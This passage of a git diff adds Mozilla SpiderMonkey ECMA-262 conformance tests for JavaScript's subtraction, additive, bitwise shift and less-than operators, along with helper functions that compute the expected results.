+ this.valueOf = new Function( "return this.value" );
+ this.value = value;
+}
diff --git a/js/src/tests/ecma/Expressions/11.6.2-1.js b/js/src/tests/ecma/Expressions/11.6.2-1.js
new file mode 100644
index 000000000..97d8ed792
--- /dev/null
+++ b/js/src/tests/ecma/Expressions/11.6.2-1.js
@@ -0,0 +1,131 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 11.6.2-1.js
+ ECMA Section: 11.6.2 The Subtraction operator ( - )
+ Description:
+
+ The production AdditiveExpression : AdditiveExpression -
+ MultiplicativeExpression is evaluated as follows:
+
+ 1. Evaluate AdditiveExpression.
+ 2. Call GetValue(Result(1)).
+ 3. Evaluate MultiplicativeExpression.
+ 4. Call GetValue(Result(3)).
+ 5. Call ToNumber(Result(2)).
+ 6. Call ToNumber(Result(4)).
+ 7. Apply the subtraction operation to Result(5) and Result(6). See the
+ discussion below (11.6.3).
+ 8. Return Result(7).
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+var SECTION = "11.6.2-1";
+var VERSION = "ECMA_1";
+startTest();
+
+writeHeaderToLog( SECTION + " The subtraction operator ( - )");
+
+// tests for boolean primitive, boolean object, Object object, a "MyObject" whose value is
+// a boolean primitive and a boolean object.
+
+new TestCase( SECTION,
+ "var EXP_1 = true; var EXP_2 = false; EXP_1 - EXP_2",
+ 1,
+ eval("var EXP_1 = true; var EXP_2 = false; EXP_1 - EXP_2") );
+
+new TestCase( SECTION,
+ "var EXP_1 = new Boolean(true); var EXP_2 = new Boolean(false); EXP_1 - EXP_2",
+ 1,
+ eval("var EXP_1 = new Boolean(true); var EXP_2 = new Boolean(false); EXP_1 - EXP_2") );
+
+new TestCase( SECTION,
+ "var EXP_1 = new Object(true); var EXP_2 = new Object(false); EXP_1 - EXP_2",
+ 1,
+ eval("var EXP_1 = new Object(true); var EXP_2 = new Object(false); EXP_1 - EXP_2") );
+
+new TestCase( SECTION,
+ "var EXP_1 = new Object(new Boolean(true)); var EXP_2 = new Object(new Boolean(false)); EXP_1 - EXP_2",
+ 1,
+ eval("var EXP_1 = new Object(new Boolean(true)); var EXP_2 = new Object(new Boolean(false)); EXP_1 - EXP_2") );
+
+new TestCase( SECTION,
+ "var EXP_1 = new MyObject(true); var EXP_2 = new MyObject(false); EXP_1 - EXP_2",
+ 1,
+ eval("var EXP_1 = new MyObject(true); var EXP_2 = new MyObject(false); EXP_1 - EXP_2") );
+
+new TestCase( SECTION,
+ "var EXP_1 = new MyObject(new Boolean(true)); var EXP_2 = new MyObject(new Boolean(false)); EXP_1 - EXP_2",
+ Number.NaN,
+ eval("var EXP_1 = new MyObject(new Boolean(true)); var EXP_2 = new MyObject(new Boolean(false)); EXP_1 - EXP_2") );
+
+new TestCase( SECTION,
+ "var EXP_1 = new MyOtherObject(new Boolean(true)); var EXP_2 = new MyOtherObject(new Boolean(false)); EXP_1 - EXP_2",
+ Number.NaN,
+ eval("var EXP_1 = new MyOtherObject(new Boolean(true)); var EXP_2 = new MyOtherObject(new Boolean(false)); EXP_1 - EXP_2") );
+
+// tests for number primitive, number object, Object object, a "MyObject" whose value is
+// a number primitive and a number object.
+
+new TestCase( SECTION,
+ "var EXP_1 = 100; var EXP_2 = 1; EXP_1 - EXP_2",
+ 99,
+ eval("var EXP_1 = 100; var EXP_2 = 1; EXP_1 - EXP_2") );
+
+new TestCase( SECTION,
+ "var EXP_1 = new Number(100); var EXP_2 = new Number(1); EXP_1 - EXP_2",
+ 99,
+ eval("var EXP_1 = new Number(100); var EXP_2 = new Number(1); EXP_1 - EXP_2") );
+
+new TestCase( SECTION,
+ "var EXP_1 = new Object(100); var EXP_2 = new Object(1); EXP_1 - EXP_2",
+ 99,
+ eval("var EXP_1 = new Object(100); var EXP_2 = new Object(1); EXP_1 - EXP_2") );
+
+new TestCase( SECTION,
+ "var EXP_1 = new Object(new Number(100)); var EXP_2 = new Object(new Number(1)); EXP_1 - EXP_2",
+ 99,
+ eval("var EXP_1 = new Object(new Number(100)); var EXP_2 = new Object(new Number(1)); EXP_1 - EXP_2") );
+
+new TestCase( SECTION,
+ "var EXP_1 = new MyObject(100); var EXP_2 = new MyObject(1); EXP_1 - EXP_2",
+ 99,
+ eval("var EXP_1 = new MyObject(100); var EXP_2 = new MyObject(1); EXP_1 - EXP_2") );
+
+new TestCase( SECTION,
+ "var EXP_1 = new MyObject(new Number(100)); var EXP_2 = new MyObject(new Number(1)); EXP_1 - EXP_2",
+ Number.NaN,
+ eval("var EXP_1 = new MyObject(new Number(100)); var EXP_2 = new MyObject(new Number(1)); EXP_1 - EXP_2") );
+
+new TestCase( SECTION,
+ "var EXP_1 = new MyOtherObject(new Number(100)); var EXP_2 = new MyOtherObject(new Number(1)); EXP_1 - EXP_2",
+ 99,
+ eval("var EXP_1 = new MyOtherObject(new Number(100)); var EXP_2 = new MyOtherObject(new Number(1)); EXP_1 - EXP_2") );
+
+// same thing with string!
+new TestCase( SECTION,
+ "var EXP_1 = new MyOtherObject(new String('0xff')); var EXP_2 = new MyOtherObject(new String('1'); EXP_1 - EXP_2",
+ 254,
+ eval("var EXP_1 = new MyOtherObject(new String('0xff')); var EXP_2 = new MyOtherObject(new String('1')); EXP_1 - EXP_2") );
+
+test();
+
+function MyPrototypeObject(value) {
+ this.valueOf = new Function( "return this.value;" );
+ this.toString = new Function( "return (this.value + '');" );
+ this.value = value;
+}
+function MyObject( value ) {
+ this.valueOf = new Function( "return this.value" );
+ this.value = value;
+}
+function MyOtherObject( value ) {
+ this.valueOf = new Function( "return this.value" );
+ this.toString = new Function ( "return this.value + ''" );
+ this.value = value;
+}
diff --git a/js/src/tests/ecma/Expressions/11.6.3.js b/js/src/tests/ecma/Expressions/11.6.3.js
new file mode 100644
index 000000000..b2eb75e6a
--- /dev/null
+++ b/js/src/tests/ecma/Expressions/11.6.3.js
@@ -0,0 +1,81 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 11.6.3.js
+ ECMA Section: 11.6.3 Applying the additive operators
+ (+, -) to numbers
+ Description:
+ The + operator performs addition when applied to two operands of numeric
+ type, producing the sum of the operands. The - operator performs
+ subtraction, producing the difference of two numeric operands.
+
+ Addition is a commutative operation, but not always associative.
+
+ The result of an addition is determined using the rules of IEEE 754
+ double-precision arithmetic:
+
+ If either operand is NaN, the result is NaN.
+ The sum of two infinities of opposite sign is NaN.
+ The sum of two infinities of the same sign is the infinity of that sign.
+ The sum of an infinity and a finite value is equal to the infinite operand.
+ The sum of two negative zeros is 0. The sum of two positive zeros, or of
+ two zeros of opposite sign, is +0.
+ The sum of a zero and a nonzero finite value is equal to the nonzero
+ operand.
+ The sum of two nonzero finite values of the same magnitude and opposite
+ sign is +0.
+ In the remaining cases, where neither an infinity, nor a zero, nor NaN is
+ involved, and the operands have the same sign or have different
+ magnitudes, the sum is computed and rounded to the nearest
+ representable value using IEEE 754 round-to-nearest mode. If the
+ magnitude is too large to represent, the operation overflows and
+ the result is then an infinity of appropriate sign. The ECMAScript
+ language requires support of gradual underflow as defined by IEEE 754.
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+var SECTION = "11.6.3";
+var VERSION = "ECMA_1";
+startTest();
+
+writeHeaderToLog( SECTION + " Applying the additive operators (+,-) to numbers");
+
+new TestCase( SECTION, "Number.NaN + 1", Number.NaN, Number.NaN + 1 );
+new TestCase( SECTION, "1 + Number.NaN", Number.NaN, 1 + Number.NaN );
+
+new TestCase( SECTION, "Number.NaN - 1", Number.NaN, Number.NaN - 1 );
+new TestCase( SECTION, "1 - Number.NaN", Number.NaN, 1 - Number.NaN );
+
+new TestCase( SECTION, "Number.POSITIVE_INFINITY + Number.POSITIVE_INFINITY", Number.POSITIVE_INFINITY, Number.POSITIVE_INFINITY + Number.POSITIVE_INFINITY);
+new TestCase( SECTION, "Number.NEGATIVE_INFINITY + Number.NEGATIVE_INFINITY", Number.NEGATIVE_INFINITY, Number.NEGATIVE_INFINITY + Number.NEGATIVE_INFINITY);
+
+new TestCase( SECTION, "Number.POSITIVE_INFINITY + Number.NEGATIVE_INFINITY", Number.NaN, Number.POSITIVE_INFINITY + Number.NEGATIVE_INFINITY);
+new TestCase( SECTION, "Number.NEGATIVE_INFINITY + Number.POSITIVE_INFINITY", Number.NaN, Number.NEGATIVE_INFINITY + Number.POSITIVE_INFINITY);
+
+new TestCase( SECTION, "Number.POSITIVE_INFINITY - Number.POSITIVE_INFINITY", Number.NaN, Number.POSITIVE_INFINITY - Number.POSITIVE_INFINITY);
+new TestCase( SECTION, "Number.NEGATIVE_INFINITY - Number.NEGATIVE_INFINITY", Number.NaN, Number.NEGATIVE_INFINITY - Number.NEGATIVE_INFINITY);
+
+new TestCase( SECTION, "Number.POSITIVE_INFINITY - Number.NEGATIVE_INFINITY", Number.POSITIVE_INFINITY, Number.POSITIVE_INFINITY - Number.NEGATIVE_INFINITY);
+new TestCase( SECTION, "Number.NEGATIVE_INFINITY - Number.POSITIVE_INFINITY", Number.NEGATIVE_INFINITY, Number.NEGATIVE_INFINITY - Number.POSITIVE_INFINITY);
+
+new TestCase( SECTION, "-0 + -0", -0, -0 + -0 );
+new TestCase( SECTION, "-0 - 0", -0, -0 - 0 );
+
+new TestCase( SECTION, "0 + 0", 0, 0 + 0 );
+new TestCase( SECTION, "0 + -0", 0, 0 + -0 );
+new TestCase( SECTION, "0 - -0", 0, 0 - -0 );
+new TestCase( SECTION, "0 - 0", 0, 0 - 0 );
+new TestCase( SECTION, "-0 - -0", 0, -0 - -0 );
+new TestCase( SECTION, "-0 + 0", 0, -0 + 0 );
+
+new TestCase( SECTION, "Number.MAX_VALUE - Number.MAX_VALUE", 0, Number.MAX_VALUE - Number.MAX_VALUE );
+new TestCase( SECTION, "1/Number.MAX_VALUE - 1/Number.MAX_VALUE", 0, 1/Number.MAX_VALUE - 1/Number.MAX_VALUE );
+
+new TestCase( SECTION, "Number.MIN_VALUE - Number.MIN_VALUE", 0, Number.MIN_VALUE - Number.MIN_VALUE );
+
+test();
diff --git a/js/src/tests/ecma/Expressions/11.7.1.js b/js/src/tests/ecma/Expressions/11.7.1.js
new file mode 100644
index 000000000..5c527453c
--- /dev/null
+++ b/js/src/tests/ecma/Expressions/11.7.1.js
@@ -0,0 +1,194 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 11.7.1.js
+ ECMA Section: 11.7.1 The Left Shift Operator ( << )
+ Description:
+ Performs a bitwise left shift operation on the left argument by the amount
+ specified by the right argument.
+
+ The production ShiftExpression : ShiftExpression << AdditiveExpression is
+ evaluated as follows:
+
+ 1. Evaluate ShiftExpression.
+ 2. Call GetValue(Result(1)).
+ 3. Evaluate AdditiveExpression.
+ 4. Call GetValue(Result(3)).
+ 5. Call ToInt32(Result(2)).
+ 6. Call ToUint32(Result(4)).
+ 7. Mask out all but the least significant 5 bits of Result(6), that is,
+ compute Result(6) & 0x1F.
+ 8. Left shift Result(5) by Result(7) bits. The result is a signed 32 bit
+ integer.
+ 9. Return Result(8).
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+var SECTION = "11.7.1";
+var VERSION = "ECMA_1";
+startTest();
+
+writeHeaderToLog( SECTION + " The left shift operator ( << )");
+
+for ( power = 0; power < 33; power++ ) {
+ shiftexp = Math.pow( 2, power );
+
+ for ( addexp = 0; addexp < 33; addexp++ ) {
+ new TestCase( SECTION,
+ shiftexp + " << " + addexp,
+ LeftShift( shiftexp, addexp ),
+ shiftexp << addexp );
+ }
+}
+
+test();
+
+function ToInteger( n ) {
+ n = Number( n );
+ var sign = ( n < 0 ) ? -1 : 1;
+
+ if ( n != n ) {
+ return 0;
+ }
+ if ( Math.abs( n ) == 0 || Math.abs( n ) == Number.POSITIVE_INFINITY ) {
+ return n;
+ }
+ return ( sign * Math.floor(Math.abs(n)) );
+}
+function ToInt32( n ) {
+ n = Number( n );
+ var sign = ( n < 0 ) ? -1 : 1;
+
+ if ( Math.abs( n ) == 0 || Math.abs( n ) == Number.POSITIVE_INFINITY) {
+ return 0;
+ }
+
+ n = (sign * Math.floor( Math.abs(n) )) % Math.pow(2,32);
+ n = ( n >= Math.pow(2,31) ) ? n - Math.pow(2,32) : n;
+
+ return ( n );
+}
+function ToUint32( n ) {
+ n = Number( n );
+ var sign = ( n < 0 ) ? -1 : 1;
+
+ if ( Math.abs( n ) == 0 || Math.abs( n ) == Number.POSITIVE_INFINITY) {
+ return 0;
+ }
+ n = sign * Math.floor( Math.abs(n) )
+
+ n = n % Math.pow(2,32);
+
+ if ( n < 0 ){
+ n += Math.pow(2,32);
+ }
+
+ return ( n );
+}
+function ToUint16( n ) {
+ var sign = ( n < 0 ) ? -1 : 1;
+
+ if ( Math.abs( n ) == 0 || Math.abs( n ) == Number.POSITIVE_INFINITY) {
+ return 0;
+ }
+
+ n = ( sign * Math.floor( Math.abs(n) ) ) % Math.pow(2,16);
+
+ if (n <0) {
+ n += Math.pow(2,16);
+ }
+
+ return ( n );
+}
+function Mask( b, n ) {
+ b = ToUint32BitString( b );
+ b = b.substring( b.length - n );
+ b = ToUint32Decimal( b );
+ return ( b );
+}
+function ToUint32BitString( n ) {
+ var b = "";
+ for ( p = 31; p >=0; p-- ) {
+ if ( n >= Math.pow(2,p) ) {
+ b += "1";
+ n -= Math.pow(2,p);
+ } else {
+ b += "0";
+ }
+ }
+ return b;
+}
+function ToInt32BitString( n ) {
+ var b = "";
+ var sign = ( n < 0 ) ? -1 : 1;
+
+ b += ( sign == 1 ) ? "0" : "1";
+
+ for ( p = 30; p >=0; p-- ) {
+ if ( (sign == 1 ) ? sign * n >= Math.pow(2,p) : sign * n > Math.pow(2,p) ) {
+ b += ( sign == 1 ) ? "1" : "0";
+ n -= sign * Math.pow( 2, p );
+ } else {
+ b += ( sign == 1 ) ? "0" : "1";
+ }
+ }
+
+ return b;
+}
+function ToInt32Decimal( bin ) {
+ var r = 0;
+ var sign;
+
+ if ( Number(bin.charAt(0)) == 0 ) {
+ sign = 1;
+ r = 0;
+ } else {
+ sign = -1;
+ r = -(Math.pow(2,31));
+ }
+
+ for ( var j = 0; j < 31; j++ ) {
+ r += Math.pow( 2, j ) * Number(bin.charAt(31-j));
+ }
+
+ return r;
+}
+function ToUint32Decimal( bin ) {
+ var r = 0;
+
+
+ for ( l = bin.length; l < 32; l++ ) {
+ bin = "0" + bin;
+ }
+
+ for ( j = 0; j < 31; j++ ) {
+ r += Math.pow( 2, j ) * Number(bin.charAt(31-j));
+
+ }
+
+ return r;
+}
+function LeftShift( s, a ) {
+ var shift = ToInt32( s );
+ var add = ToUint32( a );
+ add = Mask( add, 5 );
+ var exp = LShift( shift, add );
+
+ return ( exp );
+}
+function LShift( s, a ) {
+ s = ToInt32BitString( s );
+
+ for ( var z = 0; z < a; z++ ) {
+ s += "0";
+ }
+
+ s = s.substring( a, s.length);
+
+ return ToInt32(ToInt32Decimal(s));
+}
diff --git a/js/src/tests/ecma/Expressions/11.7.2.js b/js/src/tests/ecma/Expressions/11.7.2.js
new file mode 100644
index 000000000..95cee343b
--- /dev/null
+++ b/js/src/tests/ecma/Expressions/11.7.2.js
@@ -0,0 +1,212 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 11.7.2.js
+ ECMA Section: 11.7.2 The signed right shift operator ( >> )
+ Description:
+ Performs a sign-filling bitwise right shift operation on the left argument
+ by the amount specified by the right argument.
+
+ The production ShiftExpression : ShiftExpression >> AdditiveExpression is
+ evaluated as follows:
+
+ 1. Evaluate ShiftExpression.
+ 2. Call GetValue(Result(1)).
+ 3. Evaluate AdditiveExpression.
+ 4. Call GetValue(Result(3)).
+ 5. Call ToInt32(Result(2)).
+ 6. Call ToUint32(Result(4)).
+ 7. Mask out all but the least significant 5 bits of Result(6), that is,
+ compute Result(6) & 0x1F.
+ 8. Perform sign-extending right shift of Result(5) by Result(7) bits. The
+ most significant bit is propagated. The result is a signed 32 bit
+ integer.
+ 9. Return Result(8).
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+var SECTION = "11.7.2";
+var VERSION = "ECMA_1";
+startTest();
+
+writeHeaderToLog( SECTION + " The signed right shift operator ( >> )");
+
+var power = 0;
+var addexp = 0;
+
+for ( power = 0; power <= 32; power++ ) {
+ shiftexp = Math.pow( 2, power );
+
+ for ( addexp = 0; addexp <= 32; addexp++ ) {
+ new TestCase( SECTION,
+ shiftexp + " >> " + addexp,
+ SignedRightShift( shiftexp, addexp ),
+ shiftexp >> addexp );
+ }
+}
+
+for ( power = 0; power <= 32; power++ ) {
+ shiftexp = -Math.pow( 2, power );
+
+ for ( addexp = 0; addexp <= 32; addexp++ ) {
+ new TestCase( SECTION,
+ shiftexp + " >> " + addexp,
+ SignedRightShift( shiftexp, addexp ),
+ shiftexp >> addexp );
+ }
+}
+
+test();
+
+function ToInteger( n ) {
+ n = Number( n );
+ var sign = ( n < 0 ) ? -1 : 1;
+
+ if ( n != n ) {
+ return 0;
+ }
+ if ( Math.abs( n ) == 0 || Math.abs( n ) == Number.POSITIVE_INFINITY ) {
+ return n;
+ }
+ return ( sign * Math.floor(Math.abs(n)) );
+}
+function ToInt32( n ) {
+ n = Number( n );
+ var sign = ( n < 0 ) ? -1 : 1;
+
+ if ( Math.abs( n ) == 0 || Math.abs( n ) == Number.POSITIVE_INFINITY) {
+ return 0;
+ }
+
+ n = (sign * Math.floor( Math.abs(n) )) % Math.pow(2,32);
+ n = ( n >= Math.pow(2,31) ) ? n - Math.pow(2,32) : n;
+
+ return ( n );
+}
+function ToUint32( n ) {
+ n = Number( n );
+ var sign = ( n < 0 ) ? -1 : 1;
+
+ if ( Math.abs( n ) == 0 || Math.abs( n ) == Number.POSITIVE_INFINITY) {
+ return 0;
+ }
+ n = sign * Math.floor( Math.abs(n) )
+
+ n = n % Math.pow(2,32);
+
+ if ( n < 0 ){
+ n += Math.pow(2,32);
+ }
+
+ return ( n );
+}
+function ToUint16( n ) {
+ var sign = ( n < 0 ) ? -1 : 1;
+
+ if ( Math.abs( n ) == 0 || Math.abs( n ) == Number.POSITIVE_INFINITY) {
+ return 0;
+ }
+
+ n = ( sign * Math.floor( Math.abs(n) ) ) % Math.pow(2,16);
+
+ if (n <0) {
+ n += Math.pow(2,16);
+ }
+
+ return ( n );
+}
+function Mask( b, n ) {
+ b = ToUint32BitString( b );
+ b = b.substring( b.length - n );
+ b = ToUint32Decimal( b );
+ return ( b );
+}
+function ToUint32BitString( n ) {
+ var b = "";
+ for ( p = 31; p >=0; p-- ) {
+ if ( n >= Math.pow(2,p) ) {
+ b += "1";
+ n -= Math.pow(2,p);
+ } else {
+ b += "0";
+ }
+ }
+ return b;
+}
+function ToInt32BitString( n ) {
+ var b = "";
+ var sign = ( n < 0 ) ? -1 : 1;
+
+ b += ( sign == 1 ) ? "0" : "1";
+
+ for ( p = 30; p >=0; p-- ) {
+ if ( (sign == 1 ) ? sign * n >= Math.pow(2,p) : sign * n > Math.pow(2,p) ) {
+ b += ( sign == 1 ) ? "1" : "0";
+ n -= sign * Math.pow( 2, p );
+ } else {
+ b += ( sign == 1 ) ? "0" : "1";
+ }
+ }
+
+ return b;
+}
+function ToInt32Decimal( bin ) {
+ var r = 0;
+ var sign;
+
+ if ( Number(bin.charAt(0)) == 0 ) {
+ sign = 1;
+ r = 0;
+ } else {
+ sign = -1;
+ r = -(Math.pow(2,31));
+ }
+
+ for ( var j = 0; j < 31; j++ ) {
+ r += Math.pow( 2, j ) * Number(bin.charAt(31-j));
+ }
+
+ return r;
+}
+function ToUint32Decimal( bin ) {
+ var r = 0;
+
+ for ( l = bin.length; l < 32; l++ ) {
+ bin = "0" + bin;
+ }
+
+ for ( j = 0; j < 31; j++ ) {
+ r += Math.pow( 2, j ) * Number(bin.charAt(31-j));
+ }
+
+ return r;
+}
+function SignedRightShift( s, a ) {
+ s = ToInt32( s );
+ a = ToUint32( a );
+ a = Mask( a, 5 );
+ return ( SignedRShift( s, a ) );
+}
+function SignedRShift( s, a ) {
+ s = ToInt32BitString( s );
+
+ var firstbit = s.substring(0,1);
+
+ s = s.substring( 1, s.length );
+
+ for ( var z = 0; z < a; z++ ) {
+ s = firstbit + s;
+ }
+
+ s = s.substring( 0, s.length - a);
+
+ s = firstbit +s;
+
+
+ return ToInt32(ToInt32Decimal(s));
+}
diff --git a/js/src/tests/ecma/Expressions/11.7.3.js b/js/src/tests/ecma/Expressions/11.7.3.js
new file mode 100644
index 000000000..948b54020
--- /dev/null
+++ b/js/src/tests/ecma/Expressions/11.7.3.js
@@ -0,0 +1,196 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 11.7.3.js
+ ECMA Section: 11.7.3 The unsigned right shift operator ( >>> )
+ Description:
+ 11.7.3 The unsigned right shift operator ( >>> )
+ Performs a zero-filling bitwise right shift operation on the left argument
+ by the amount specified by the right argument.
+
+ The production ShiftExpression : ShiftExpression >>> AdditiveExpression is
+ evaluated as follows:
+
+ 1. Evaluate ShiftExpression.
+ 2. Call GetValue(Result(1)).
+ 3. Evaluate AdditiveExpression.
+ 4. Call GetValue(Result(3)).
+ 5. Call ToUint32(Result(2)).
+ 6. Call ToUint32(Result(4)).
+ 7. Mask out all but the least significant 5 bits of Result(6), that is,
+ compute Result(6) & 0x1F.
+ 8. Perform zero-filling right shift of Result(5) by Result(7) bits.
+ Vacated bits are filled with zero. The result is an unsigned 32 bit
+ integer.
+ 9. Return Result(8).
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+var SECTION = "11.7.3";
+var VERSION = "ECMA_1";
+startTest();
+
+writeHeaderToLog( SECTION + " The unsigned right shift operator ( >>> )");
+
+var addexp = 0;
+var power = 0;
+
+for ( power = 0; power <= 32; power++ ) {
+ shiftexp = Math.pow( 2, power );
+
+ for ( addexp = 0; addexp <= 32; addexp++ ) {
+ new TestCase( SECTION,
+ shiftexp + " >>> " + addexp,
+ UnsignedRightShift( shiftexp, addexp ),
+ shiftexp >>> addexp );
+ }
+}
+
+test();
+
+
+function ToInteger( n ) {
+ n = Number( n );
+ var sign = ( n < 0 ) ? -1 : 1;
+
+ if ( n != n ) {
+ return 0;
+ }
+ if ( Math.abs( n ) == 0 || Math.abs( n ) == Number.POSITIVE_INFINITY ) {
+ return n;
+ }
+ return ( sign * Math.floor(Math.abs(n)) );
+}
+function ToInt32( n ) {
+ n = Number( n );
+ var sign = ( n < 0 ) ? -1 : 1;
+
+ if ( Math.abs( n ) == 0 || Math.abs( n ) == Number.POSITIVE_INFINITY) {
+ return 0;
+ }
+
+ n = (sign * Math.floor( Math.abs(n) )) % Math.pow(2,32);
+ n = ( n >= Math.pow(2,31) ) ? n - Math.pow(2,32) : n;
+
+ return ( n );
+}
+function ToUint32( n ) {
+ n = Number( n );
+ var sign = ( n < 0 ) ? -1 : 1;
+
+ if ( Math.abs( n ) == 0 || Math.abs( n ) == Number.POSITIVE_INFINITY) {
+ return 0;
+ }
+ n = sign * Math.floor( Math.abs(n) )
+
+ n = n % Math.pow(2,32);
+
+ if ( n < 0 ){
+ n += Math.pow(2,32);
+ }
+
+ return ( n );
+}
+function ToUint16( n ) {
+ var sign = ( n < 0 ) ? -1 : 1;
+
+ if ( Math.abs( n ) == 0 || Math.abs( n ) == Number.POSITIVE_INFINITY) {
+ return 0;
+ }
+
+ n = ( sign * Math.floor( Math.abs(n) ) ) % Math.pow(2,16);
+
+ if (n <0) {
+ n += Math.pow(2,16);
+ }
+
+ return ( n );
+}
+function Mask( b, n ) {
+ b = ToUint32BitString( b );
+ b = b.substring( b.length - n );
+ b = ToUint32Decimal( b );
+ return ( b );
+}
+function ToUint32BitString( n ) {
+ var b = "";
+ for ( p = 31; p >=0; p-- ) {
+ if ( n >= Math.pow(2,p) ) {
+ b += "1";
+ n -= Math.pow(2,p);
+ } else {
+ b += "0";
+ }
+ }
+ return b;
+}
+function ToInt32BitString( n ) {
+ var b = "";
+ var sign = ( n < 0 ) ? -1 : 1;
+
+ b += ( sign == 1 ) ? "0" : "1";
+
+ for ( p = 30; p >=0; p-- ) {
+ if ( (sign == 1 ) ? sign * n >= Math.pow(2,p) : sign * n > Math.pow(2,p) ) {
+ b += ( sign == 1 ) ? "1" : "0";
+ n -= sign * Math.pow( 2, p );
+ } else {
+ b += ( sign == 1 ) ? "0" : "1";
+ }
+ }
+
+ return b;
+}
+function ToInt32Decimal( bin ) {
+ var r = 0;
+ var sign;
+
+ if ( Number(bin.charAt(0)) == 0 ) {
+ sign = 1;
+ r = 0;
+ } else {
+ sign = -1;
+ r = -(Math.pow(2,31));
+ }
+
+ for ( var j = 0; j < 31; j++ ) {
+ r += Math.pow( 2, j ) * Number(bin.charAt(31-j));
+ }
+
+ return r;
+}
+function ToUint32Decimal( bin ) {
+ var r = 0;
+
+
+ for ( l = bin.length; l < 32; l++ ) {
+ bin = "0" + bin;
+ }
+
+ for ( j = 0; j < 32; j++ ) {
+ r += Math.pow( 2, j ) * Number(bin.charAt(31-j));
+
+ }
+
+ return r;
+}
+function RShift( s, a ) {
+ s = ToUint32BitString( s );
+ for ( z = 0; z < a; z++ ) {
+ s = "0" + s;
+ }
+ s = s.substring( 0, s.length - a );
+
+ return ToUint32Decimal(s);
+}
+function UnsignedRightShift( s, a ) {
+ s = ToUint32( s );
+ a = ToUint32( a );
+ a = Mask( a, 5 );
+ return ( RShift( s, a ) );
+}
diff --git a/js/src/tests/ecma/Expressions/11.8.1.js b/js/src/tests/ecma/Expressions/11.8.1.js
new file mode 100644
index 000000000..2902bf135
--- /dev/null
+++ b/js/src/tests/ecma/Expressions/11.8.1.js
@@ -0,0 +1,87 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 11.8.1.js
+ ECMA Section: 11.8.1 The less-than operator ( < )
+ Description:
+
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+var SECTION = "11.8.1";
+var VERSION = "ECMA_1";
+startTest();
+
+writeHeaderToLog( SECTION + " The less-than operator ( < )");
+
+new TestCase( SECTION, "true < false", false, true < false );
+new TestCase( SECTION, "false < true", true, false < true );
+new TestCase( SECTION, "false < false", false, false < false );
+new TestCase( SECTION, "true < true", false, true < true );
+
+new TestCase( SECTION, "new Boolean(true) < new Boolean(true)", false, new Boolean(true) < new Boolean(true) );
+new TestCase( SECTION, "new Boolean(true) < new Boolean(false)", false, new Boolean(true) < new Boolean(false) );
+new TestCase( SECTION, "new Boolean(false) < new Boolean(true)", true, new Boolean(false) < new Boolean(true) );
+new TestCase( SECTION, "new Boolean(false) < new Boolean(false)", false, new Boolean(false) < new Boolean(false) );
+
+new TestCase( SECTION, "new MyObject(Infinity) < new MyObject(Infinity)", false, new MyObject( Number.POSITIVE_INFINITY ) < new MyObject( Number.POSITIVE_INFINITY) );
+new TestCase( SECTION, "new MyObject(-Infinity) < new MyObject(Infinity)", true, new MyObject( Number.NEGATIVE_INFINITY ) < new MyObject( Number.POSITIVE_INFINITY) );
+new TestCase( SECTION, "new MyObject(-Infinity) < new MyObject(-Infinity)", false, new MyObject( Number.NEGATIVE_INFINITY ) < new MyObject( Number.NEGATIVE_INFINITY) );
+
+new TestCase( SECTION, "new MyValueObject(false) < new MyValueObject(true)", true, new MyValueObject(false) < new MyValueObject(true) );
+new TestCase( SECTION, "new MyValueObject(true) < new MyValueObject(true)", false, new MyValueObject(true) < new MyValueObject(true) );
+new TestCase( SECTION, "new MyValueObject(false) < new MyValueObject(false)", false, new MyValueObject(false) < new MyValueObject(false) );
+
+new TestCase( SECTION, "new MyStringObject(false) < new MyStringObject(true)", true, new MyStringObject(false) < new MyStringObject(true) );
+new TestCase( SECTION, "new MyStringObject(true) < new MyStringObject(true)", false, new MyStringObject(true) < new MyStringObject(true) );
+new TestCase( SECTION, "new MyStringObject(false) < new MyStringObject(false)", false, new MyStringObject(false) < new MyStringObject(false) );
+
+new TestCase( SECTION, "Number.NaN < Number.NaN", false, Number.NaN < Number.NaN );
+new TestCase( SECTION, "0 < Number.NaN", false, 0 < Number.NaN );
+new TestCase( SECTION, "Number.NaN < 0", false, Number.NaN < 0 );
+
+new TestCase( SECTION, "0 < -0", false, 0 < -0 );
+new TestCase( SECTION, "-0 < 0", false, -0 < 0 );
+
+new TestCase( SECTION, "Infinity < 0", false, Number.POSITIVE_INFINITY < 0 );
+new TestCase( SECTION, "Infinity < Number.MAX_VALUE", false, Number.POSITIVE_INFINITY < Number.MAX_VALUE );
